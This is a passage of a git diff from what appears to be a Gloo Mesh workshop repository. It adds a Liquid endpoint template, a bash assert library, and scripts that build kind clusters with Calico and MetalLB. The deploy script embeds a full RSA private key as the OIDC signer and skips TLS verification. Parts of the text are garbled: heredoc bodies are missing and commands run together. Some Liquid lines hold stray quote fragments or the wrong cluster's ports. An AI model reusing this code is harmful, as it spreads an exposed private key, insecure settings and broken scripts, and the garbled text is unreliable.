UwMDEx3PycXHKvblryI5K+0Vx1MDAwZsVmJXJbLV1sw3q/MLFIKWRcdPdMQE44tohgmjLTVMGn/NjXp1x1MDAxNVx0U1x1MDAwNUpjXHUwMDE54kqBflx1MDAxYbOSbDzOMtePXHUwMDE3V5VGsZy6aTZm48HuivhAw36nXHUwMDE1neJd+1x1MDAxZfZcdTAwMTDDrqOm7lx1MDAxNzxcIjWV2DPdXHUwMDFkiKnpz7DBOab/coaXmXJvXHUwMDFkJ5Ql96Tj9tLUi0rMtOZh1mxH4KVA884mjXH97Lz70XNv2nwoZrqG1a0y05WZbs9NpfROeiemJVx1MDAxZkEouORcdTAwMTben6LsLUt651x1MDAxN5lK5yFfrL6X69tw06+UW6kt8ktsXHUwMDExWSlcdTAwMDdHqbZcdTAwMTRcdTAwMTXwj6lcdTAwMWK3Y/jBnns0IFOMjHBcdTAwMWVi49JPa+ZGXHUwMDE3l8VC8u0xXVx1MDAxY6SyKXZTjJJueHnkqXlkXHUwMDBmtLxcdTAwMDdcdTAwMWH2SWe1oirXbFx1MDAxNa6HNTVJvFx1MDAwZibNPaxCpoFcIlx1MDAxZFnPPzZcdTAwMWZvXHUwMDFlPkQ7XCKq9fY+Vlx1MDAxN5VlrYiGafw0fiwmXHUwMDEzKIlcdTAwMDdcdTAwMWXLsNG4oDaqqWG9KD/G9VxcM1W6TL/WPFrEbmZVNK5l8iUu8q3Pu3YpLWPoc7KPfuintcv2Puw6ou5+wSNcdTAwMTJ1Rbx9yEJcdTAwMTGiXHUwMDE1I1x1MDAxYtTC913P8DJ15qfxubRoXHUwMDEwjf9F7So4Y5wpXHUwMDFjZi1/XHUwMDA0qp5s93pnmeqo/uU+5DVcdTAwMWN3lakvT3RcdTAwMDei7lx1MDAxZMKEiUJcdTAwMDJJiYJXTb1cdTAwMTh/qFx1MDAwYtxuR+rk+uqt8ljtTj68gvVPg6gzoixcdTAwMDaLoE3Ncko595TbnVx1MDAwMoW38yMrqvXphk5cZsao3YtmPlOPrejtZeS1Qq6z/d2V8TdRP+jyntawh1xunTitVdj7sOv4qftcdTAwMDWPyU+9Y1x1MDAxY5SWglBFg2s5/+U8TXpcbmzQ0oH03Fx1MDAxN/FT2Fx1MDAwN8woN3HEkPlcdTAwMTBcdTAwMTLUy9G40ftycrqG162S08Ukt1x1MDAxM1bsXaSKXHUwMDBirVx1MDAwNVx1MDAxMjq4MfnSvy08llx1MDAwNqXbi8v7l1x1MDAxN9x8KF3NXHUwMDFlQi+tXHUwMDFhXHUwMDExSy1cdTAwMWXLqS1cdTAwMWPDq4FcdTAwMGV+dlxySLJcdTAwMDWQ/JZV6kxvXHUwMDExXG5rhlx1MDAxNDrRXG7+leF5tlJcdTAwMTg2293zXFw891bhkVdcdTAwMTVccsZcdTAwMTJ20WSuSFx1MDAxMLhU1XW1Vu26w4DN1fI10fs/57KVtGvkXHUwMDFkvI9cYiFcdTAwMWPMr+C6+elh8FKM9S9ux/ekXHUwMDFjLaQyLfH2XHUwMDFhdmnXUjNLKzD7XHUwMDE4KD1FlpNoqEbIQvz3Y6d8cV9ply75qi7Sjs18hThmMtsu0n6FXHUwMDA3N8mJpLI8vlx1MDAxZFJcXLqUXHUwMDAzklx1MDAwYru0x9uNpVt2TGn/OVx1MDAxN19p92mRiD0zVymTXGL0yFx1MDAwNo2N/e9lKFx1MDAxZE5aKmTJeUkjrkwk74qwY2kpiTFWXHUwMDEymfpXXHUwMDA3Olx1MDAxYTa1aqWQmsOVXGJWtry9RUVKy1hcboRiXHUwMDA1c6JEO4BAalx1MDAwMlx1MDAxM+DqX1s7XCJgXHUwMDA1On+dc2ZvXGJcdTAwMDb8XHUwMDE1Kc2lpopcdTAwMDOMStubfrYjXHUwMDA0I01cdTAwMTBBlVx1MDAxMrBPJGi/n+/wKEB3svWgXCLeW9A8XHUwMDFjm28x3l/2n5uyXHKsPCPKXGLigmFlq1xuuFx1MDAxNn5i9edpXHUwMDBms/FsXHUwMDEwXHUwMDFm5vK1cnp29TbZjm14hk1XiqN6db9cYoSlsDiCTSh+PC8hXHUwMDEw8HhqwcJcdTAwMGJJOdxcdTAwMWTmXal6J483c0naddbA5VJcdETp2tJcdTAwMThhRZCtdH21+9ZcdTAwMWKWq/90h3C9s3ZcdTAwMDPk2b2F+peXoXWd2ZY8gHtWidKMgGLcgFx1MDAwNVxcn9+8VurkRspsOlx1MDAxM71cdTAwMTme3z6xLWtEfaVcdTAwMThSXG68fiGGK1x1MDAxNWpcYqOWXFyI4YFcdTAwMGWetIszXHUwMDBlO+VQMVx1MDAwMEdM1lx1MDAxYfhhlcOAmryXwfqjeXtzmVx1MDAxZfVcdTAwMDbZRifbvnpou2tyU31XaEFMY0977ZEzW2Nh41x1MDAxMZHaNFx1MDAxNTYpZM7GwnvV5Kui9sUlXYX9XHUwMDAzXHUwMDExXHUwMDE24COa2T+CKdlQxfuXXHUwMDA0IJ5eXHUwMDA1Lk1cdTAwMGZkxoPHn+ryR4bSl0yrcN+c1qs5/VSc0u3wZVx1MDAxYjtjXHUwMDAxXHUwMDFiXHUwMDFiuVx1MDAxMIXmXHUwMDE2osqUPNZcYomVOpBAuCyulFx1MDAwMlx1MDAxOVwiXHUwMDFjKW94YZojLrczM1xiIVx1MDAxNrZVXHUwMDA3cWvGXHUwMDBl8mv9esP82VHqXHUwMDFhYEeb/2yf/mr0+X1ccrdcZuLSR0XiSKEzzHdjt3ek+t593UcmXHUwMDEw70QvZKfUKtUy9dTkvjN7jz3RYOM6vvLBc4htXGbNmUOMJdd4g1xcxPFl8v2yXHUwMDFlxez8IUtyXHUwMDAyJ/LPXHUwMDFmoa84p1x1MDAwNEHAqsFmw4SB0K1cdTAwMTZXxtxiXG7seSpBWij1XHUwMDE2OJBMVvQvLe/rxSNu7SWcbjxCTGFcdTAwMTR76bt9XHUwMDBi1ddcdTAwMWSfbdrf4WzSXHUwMDFitrzbO3y5R805re1INbG3XHUwMDAzWJFDISVoaUqC02p/XHUwMDAwXG6lc23ea1BcYlxu1oWiTDpMW4mNXHUwMDEwYiklbHyOvW3bXHUwMDAwQuip9Vx1MDAwNLckp1x1MDAxOFSvmidEuZSIw1xibGx4XHUwMDA3qDxcblfiNmL9y8vOiUKEM3E8pfdFJc29yLg/61pcIuNUXHUwMDBiYY4lXHUwMDE0YYyaXHUwMDAzIydcdTAwMWJcdTAwMDeSobTkRFx1MDAwYqAhUklnY4dT8p55bjHzcG6uXHKZtU9cdTAwMGJcdTAwMDVP3z1BppIq3IDgtNq/v91+zPZcdTAwMDP0UODCYlx1MDAwMlafSFx1MDAwMInlSiGmoLqlXHUwMDEwNWXxqKZyXHUwMDE1+PZjtEukLFx1MDAxYmGWLqSaXHUwMDAz25B25u2AXHUwMDE3xahiQlx1MDAxZFD9h8KiT0xGvYhcIoVcdJCy0V0lklx1MDAxZNcuXHUwMDBibiBiusNcdTAwMTjExUpiXHUwMDEzYqKIdoNcdTAwMTHAXHUwMDFhrIkp3Y3gP6LXXHUwMDE49V7T8u/5toRtcCulJlx1MDAxMpn+3lxiXHUwMDExZ3tcdTAwMThlXHSGKSPUlKhRSPCTRrZcYmZLXHUwMDFmIEZlXHUwMDEzm4G4dlx1MDAwMKJXxIPax6OUrJiba1x1MDAwN6SaWbZcdTAwMTlQ+7HNmVPU1o7nKb/mwajn913G7r9+XuDvYr//MFx1MDAwNvn5vd3+/mhUJzHvMiZ//dxcdTAwMWJcdTAwMDZhq+a+/c///vW//1x1MDAxZnbkYFx1MDAwMCJ9 + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClientenforcerate limitshttpbin workspace \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/efault/partials/calculate-endpoints.liquid b/gloo-mesh/gateway/2-4/airgap/efault/partials/calculate-endpoints.liquid new file mode 100644 index 0000000000..e7bd4df90d --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/efault/partials/calculate-endpoints.liquid @@ -0,0 +1,58 @@ +{%- assign fqdn_httpbin = vars.httpbin_fqdn | default: "httpbin.example.com" %} +{%- assign fqdn_bookinfo = vars.bookinfo_fqdn | default: "bookinfo.example.com" %} +{%- assign fqdn_portal = vars.portal_fqdn | default: "portal.example.com" %} +{%- assign fqdn_grpcbin = vars.grpcbin_fqdn | default: "grpcbin.example.com" %} +{%- assign fqdn_backstage = vars.backstage_fqdn | default: "backstage.example.com" %} +{%- assign fqdn_cluster1_httpbin = "cluster1-" | append: fqdn_httpbin %} +{%- assign fqdn_cluster2_httpbin = "cluster2-" | append: fqdn_httpbin %} +{%- assign fqdn_cluster1_bookinfo = "cluster1-" | append: fqdn_bookinfo %} +{%- assign fqdn_cluster2_bookinfo = "cluster2-" | append: fqdn_bookinfo %} +{%- assign fqdn_cluster1_portal = "cluster1-" | append: fqdn_portal %} +{%- assign fqdn_cluster2_portal = "cluster2-" | append: fqdn_portal %} +{%- assign fqdn_cluster1_grpcbin = "cluster1-" | append: fqdn_grpcbin %} +{%- assign fqdn_cluster2_grpcbin = "cluster2-" | append: fqdn_grpcbin %} +{%- assign fqdn_cluster1_backstage = "cluster1-" | append: fqdn_backstage %} +{%- assign fqdn_cluster2_backstage = "cluster2-" | append: fqdn_backstage %} +{%- if vars.node_port or vars.cluster1.node_port %} +{%- assign endpoint_http_gw_cluster1_httpbin = fqdn_cluster1_httpbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_httpbin = fqdn_cluster1_httpbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_portal = fqdn_cluster1_portal | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_portal = fqdn_cluster1_portal | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_grpcbin = fqdn_cluster1_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_grpcbin = fqdn_cluster1_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_backstage = fqdn_cluster1_backstage | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_backstage = fqdn_cluster1_backstage | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- if vars.node_port or vars.cluster2.node_port %} +{%- assign endpoint_http_gw_cluster2_httpbin = fqdn_cluster2_httpbin | append: ":${NODEPORT_CLUSTER2_HTTP}" %} +{%- assign endpoint_https_gw_cluster2_httpbin = fqdn_cluster2_httpbin | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_portal = fqdn_cluster2_portal | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_portal = fqdn_cluster2_portal | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_backstage = fqdn_cluster2_backstage | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_backstage = fqdn_cluster2_backstage | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- endif %}{% comment %}cluster2 nodeport{% endcomment %} +{%- else %} +{%- assign endpoint_http_gw_cluster1_httpbin = fqdn_cluster1_httpbin %} +{%- assign endpoint_https_gw_cluster1_httpbin = fqdn_cluster1_httpbin %} +{%- assign endpoint_http_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo %} +{%- assign endpoint_https_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo %} +{%- assign endpoint_http_gw_cluster1_portal = fqdn_cluster1_portal %} +{%- assign endpoint_https_gw_cluster1_portal = fqdn_cluster1_portal %} +{%- assign endpoint_http_gw_cluster1_backstage = fqdn_cluster1_backstage %} +{%- assign endpoint_https_gw_cluster1_backstage = fqdn_cluster1_backstage %} +{%- assign endpoint_http_gw_cluster2_httpbin = fqdn_cluster2_httpbin %} +{%- assign endpoint_https_gw_cluster2_httpbin = fqdn_cluster2_httpbin %} +{%- assign endpoint_http_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo %} +{%- assign endpoint_https_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo %} +{%- assign endpoint_http_gw_cluster2_portal = fqdn_cluster2_portal %} +{%- assign endpoint_https_gw_cluster2_portal = fqdn_cluster2_portal %} +{%- assign endpoint_http_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin %} +{%- assign endpoint_https_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin %} +{%- assign endpoint_http_gw_cluster2_backstage = fqdn_cluster2_backstage %} +{%- assign endpoint_https_gw_cluster2_backstage = fqdn_cluster2_backstage %} +{%- endif %} \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/efault/scripts/assert.sh b/gloo-mesh/gateway/2-4/airgap/efault/scripts/assert.sh new file mode 100755 index 0000000000..75ba95ac90 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/efault/scripts/assert.sh @@ -0,0 +1,252 @@ +#!/usr/bin/env bash + +##################################################################### +## +## title: Assert Extension +## +## description: +## Assert extension of shell (bash, ...) +## with the common assert functions +## Function list based on: +## http://junit.sourceforge.net/javadoc/org/junit/Assert.html +## Log methods : inspired by +## - https://natelandau.com/bash-scripting-utilities/ +## author: Mark Torok +## +## date: 07. Dec. 2016 +## +## license: MIT +## +##################################################################### + +if command -v tput &>/dev/null && tty -s; then + RED=$(tput setaf 1) + GREEN=$(tput setaf 2) + MAGENTA=$(tput setaf 5) + NORMAL=$(tput sgr0) + BOLD=$(tput bold) +else + RED=$(echo -en "\e[31m") + GREEN=$(echo -en "\e[32m") + MAGENTA=$(echo -en "\e[35m") + NORMAL=$(echo -en "\e[00m") + BOLD=$(echo -en "\e[01m") +fi + +log_header() { + printf "\n${BOLD}${MAGENTA}========== %s ==========${NORMAL}\n" "$@" >&2 +} + +log_success() { + printf "${GREEN}✔ %s${NORMAL}\n" "$@" >&2 +} + +log_failure() { + printf "${RED}✖ %s${NORMAL}\n" "$@" >&2 + file=.test-error.log + echo "$@" >> $file + echo "#############################################" >> $file + echo "#############################################" >> $file +} + + +assert_eq() { + local expected="$1" + local actual="$2" + local msg="${3-}" + + if [ "$expected" == "$actual" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$expected == $actual :: $msg" || true + return 1 + fi +} + +assert_not_eq() { + local expected="$1" + local actual="$2" + local msg="${3-}" + + if [ ! "$expected" == "$actual" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$expected != $actual :: $msg" || true + return 1 + fi +} + +assert_true() { + local actual="$1" + local msg="${2-}" + + assert_eq true "$actual" "$msg" + return "$?" +} + +assert_false() { + local actual="$1" + local msg="${2-}" + + assert_eq false "$actual" "$msg" + return "$?" +} + +assert_array_eq() { + + declare -a expected=("${!1-}") + # echo "AAE ${expected[@]}" + + declare -a actual=("${!2}") + # echo "AAE ${actual[@]}" + + local msg="${3-}" + + local return_code=0 + if [ ! "${#expected[@]}" == "${#actual[@]}" ]; then + return_code=1 + fi + + local i + for (( i=1; i < ${#expected[@]} + 1; i+=1 )); do + if [ ! "${expected[$i-1]}" == "${actual[$i-1]}" ]; then + return_code=1 + break + fi + done + + if [ "$return_code" == 1 ]; then + [ "${#msg}" -gt 0 ] && log_failure "(${expected[*]}) != (${actual[*]}) :: $msg" || true + fi + + return "$return_code" +} + +assert_array_not_eq() { + + declare -a expected=("${!1-}") + declare -a actual=("${!2}") + + local msg="${3-}" + + local return_code=1 + if [ ! "${#expected[@]}" == "${#actual[@]}" ]; then + return_code=0 + fi + + local i + for (( i=1; i < ${#expected[@]} + 1; i+=1 )); do + if [ ! "${expected[$i-1]}" == "${actual[$i-1]}" ]; then + return_code=0 + break + fi + done + + if [ "$return_code" == 1 ]; then + [ "${#msg}" -gt 0 ] && log_failure "(${expected[*]}) == (${actual[*]}) :: $msg" || true + fi + + return "$return_code" +} + +assert_empty() { + local actual=$1 + local msg="${2-}" + + assert_eq "" "$actual" "$msg" + return "$?" +} + +assert_not_empty() { + local actual=$1 + local msg="${2-}" + + assert_not_eq "" "$actual" "$msg" + return "$?" +} + +assert_contain() { + local haystack="$1" + local needle="${2-}" + local msg="${3-}" + + if [ -z "${needle:+x}" ]; then + return 0; + fi + + if [ -z "${haystack##*$needle*}" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$haystack doesn't contain $needle :: $msg" || true + return 1 + fi +} + +assert_not_contain() { + local haystack="$1" + local needle="${2-}" + local msg="${3-}" + + if [ -z "${needle:+x}" ]; then + return 0; + fi + + if [ "${haystack##*$needle*}" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$haystack contains $needle :: $msg" || true + return 1 + fi +} + +assert_gt() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -gt "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first > $second :: $msg" || true + return 1 + fi +} + +assert_ge() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -ge "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first >= $second :: $msg" || true + return 1 + fi +} + +assert_lt() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -lt "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first < $second :: $msg" || true + return 1 + fi +} + +assert_le() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -le "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first <= $second :: $msg" || true + return 1 + fi +} \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/efault/scripts/check.sh b/gloo-mesh/gateway/2-4/airgap/efault/scripts/check.sh new file mode 100755 index 0000000000..fa52484b28 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/efault/scripts/check.sh @@ -0,0 +1,16 @@ +#!/usr/bin/env bash + +printf "Waiting for all the kube-system pods to become ready in context $1" +until [ $(kubectl --context $1 -n kube-system get pods -o jsonpath='{range .items[*].status.containerStatuses[*]}{.ready}{"\n"}{end}' | grep false -c) -eq 0 ]; do + printf "%s" "." + sleep 1 +done +printf "\n kube-system pods are now ready \n" + +printf "Waiting for all the metallb-system pods to become ready in context $1" +until [ $(kubectl --context $1 -n metallb-system get pods -o jsonpath='{range .items[*].status.containerStatuses[*]}{.ready}{"\n"}{end}' | grep false -c) -eq 0 ]; do + printf "%s" "." + sleep 1 +done +printf "\n metallb-system pods are now ready \n" + diff --git a/gloo-mesh/gateway/2-4/airgap/efault/scripts/deploy-aws-with-calico.sh b/gloo-mesh/gateway/2-4/airgap/efault/scripts/deploy-aws-with-calico.sh new file mode 100755 index 0000000000..1c7a2ec3cf --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/efault/scripts/deploy-aws-with-calico.sh @@ -0,0 +1,240 @@ +#!/usr/bin/env bash +set -o errexit + +number=$1 +name=$2 +region=$3 +zone=$4 +twodigits=$(printf "%02d\n" $number) +kindest_node=${KINDEST_NODE:-kindest\/node:v1.28.0@sha256:b7a4cad12c197af3ba43202d3efe03246b3f0793f162afb40a33c923952d5b31} + +if [ -z "$3" ]; then + region=us-east-1 +fi + +if [ -z "$4" ]; then + zone=us-east-1a +fi + +if hostname -I 2>/dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF + +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF + +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' 